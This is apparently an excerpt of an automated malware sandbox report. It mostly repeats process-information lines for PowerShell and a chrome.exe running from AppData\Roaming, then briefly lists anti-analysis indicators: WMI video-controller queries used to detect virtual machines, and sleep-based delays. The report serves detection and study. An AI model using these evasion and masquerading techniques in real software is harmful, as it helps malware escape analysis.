Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\AppData\Roaming\34432.exe TID: 6972	Thread sleep count: 68 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe TID: 6972	Thread sleep time: -68000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7116	Thread sleep count: 5547 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7112	Thread sleep count: 3401 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3684	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6780	Thread sleep count: 5587 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6772	Thread sleep count: 2582 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4120	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2296	Thread sleep count: 989 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3724	Thread sleep count: 137 > 30
